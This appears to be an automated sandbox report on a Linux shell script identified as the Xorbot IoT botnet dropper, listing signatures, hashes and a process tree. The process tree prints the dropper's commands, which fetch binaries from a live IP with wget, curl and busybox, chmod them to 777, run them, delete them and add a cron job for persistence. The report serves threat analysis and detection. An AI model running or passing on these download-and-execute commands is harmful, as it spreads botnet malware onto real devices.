Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    29-11-2024 19:06

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9c78593f3247a81ae638fe8b8463b71e

  • SHA1

    0775065718970d81dc47eeeede73fa2063f74554

  • SHA256

    1ada6782b73be9bad01cc49d5c1a17cddeb96112995fe104e69fcfaff3ff28c8

  • SHA512

    25b0a058e86e6b106a46f84ec8fd78eaefd5f6cf6403a471fdb86cd99470f000a751c45c8c91e6b7f29dee46c38563feb95c7d51b40ebd1438e496a567bdc8fc

  • SSDEEP

    96:kIcMJRrMGOU3by18oiffO9L91wAQaUX2QFZPYAjpF9QQdzllv6XJFZPYA8dgpF9i:hMGOU3b89L9761GOU3bmLp

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1354) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:696
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/chmod
          chmod 777 HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          ./HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            ./sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
            • Executes dropped EXE
            PID:736
          • /bin/rm
            rm sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3
            2⤵
              PID:738
            • /usr/bin/wget
              wget http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Writes file to tmp directory
              PID:742
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/chmod
              chmod 777 3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • File and Directory Permissions Modification
              PID:757
            • /tmp/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              ./3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
              • Executes dropped EXE
              PID:758
            • /bin/rm
              rm 3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7
              2⤵
                PID:761
              • /usr/bin/wget
                wget http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Writes file to tmp directory
                PID:763
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Writes file to tmp directory
                PID:789
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Writes file to tmp directory
                PID:796
              • /bin/chmod
                chmod 777 I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • File and Directory Permissions Modification
                PID:797
              • /tmp/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                ./I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                • Executes dropped EXE
                PID:798
              • /bin/rm
                rm I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F
                2⤵
                  PID:800
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Writes file to tmp directory
                  PID:802
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Writes file to tmp directory
                  PID:805
                • /bin/chmod
                  chmod 777 twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:816
                • /tmp/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  ./twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                  • Executes dropped EXE
                  PID:818
                • /bin/rm
                  rm twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6
                  2⤵
                    PID:821
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                    2⤵
                    • Writes file to tmp directory
                    PID:822
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                    2⤵
                    • Writes file to tmp directory
                    PID:838
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                    2⤵
                    • Writes file to tmp directory
                    PID:840
                  • /bin/chmod
                    chmod 777 49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                    2⤵
                    • File and Directory Permissions Modification
                    PID:841
                  • /tmp/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                    ./49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                    2⤵
                    • Executes dropped EXE
                    PID:842
                  • /bin/rm
                    rm 49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3
                    2⤵
                      PID:844
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                      2⤵
                      • Writes file to tmp directory
                      PID:845
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                      2⤵
                      • Writes file to tmp directory
                      PID:846
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                      2⤵
                      • Writes file to tmp directory
                      PID:847
                    • /bin/chmod
                      chmod 777 I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                      2⤵
                      • File and Directory Permissions Modification
                      PID:848
                    • /tmp/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                      ./I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:849
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:851
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:852
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:853
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:854
                        • /bin/rm
                          rm I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7
                          2⤵
                            PID:856
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/EyE3VqeXK0kUbvnhpzdyAnSk8uhsPnMFoY
                            2⤵
                              PID:859

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/3n7sN3LjJTLOMHNlkYjWZN1mTjS2uaRZB7

                            Filesize

                            111KB

                            MD5

                            ca897a38f23ec23521ce0b1b83f8422d

                            SHA1

                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                            SHA256

                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                            SHA512

                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                          • /tmp/49rEJIo8Zk45Weokqv5KxjFaLN7WS6hRB3

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /tmp/HyFKCp18InTpYemBRv9sRLmsDqmDKSxRb0

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/I3Cz1kIDzo2pFxtADFSX8zlPHB7CRglNM7

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/I8EYNwCKwSr8uAOi8w1gPaBWbMz0bFQy9F

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/sn9xANi6OqOf7eSQwHlRFntRBKbUxpEoA3

                            Filesize

                            151KB

                            MD5

                            3c90d5820bddcf7c5d1bd21dfa49d958

                            SHA1

                            5ba05bd489e50af97d6dc45e3a0be60e494d5083

                            SHA256

                            bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                            SHA512

                            54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                          • /tmp/twqSSpLqRc2mx46ULSIg9QoXwl2WIEqWv6

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /var/spool/cron/crontabs/tmp.GS7DPa

                            Filesize

                            210B

                            MD5

                            453c317c9c79fafc02301128dd421d03

                            SHA1

                            3dc1caeb51761dce56987c659ec5c9e88871aea7

                            SHA256

                            d96cbe401d6a9d2fb427884a91ca35ead4aba703470a6dd5099bc35fc5c9ad30

                            SHA512

                            b1697edad95577981c2b076bee3d03a9b69b49df5b87b86fecbe30b56c174818fede55a32347387ffccfc2097d7814c936037ee1caf5269581476ddc03e883a0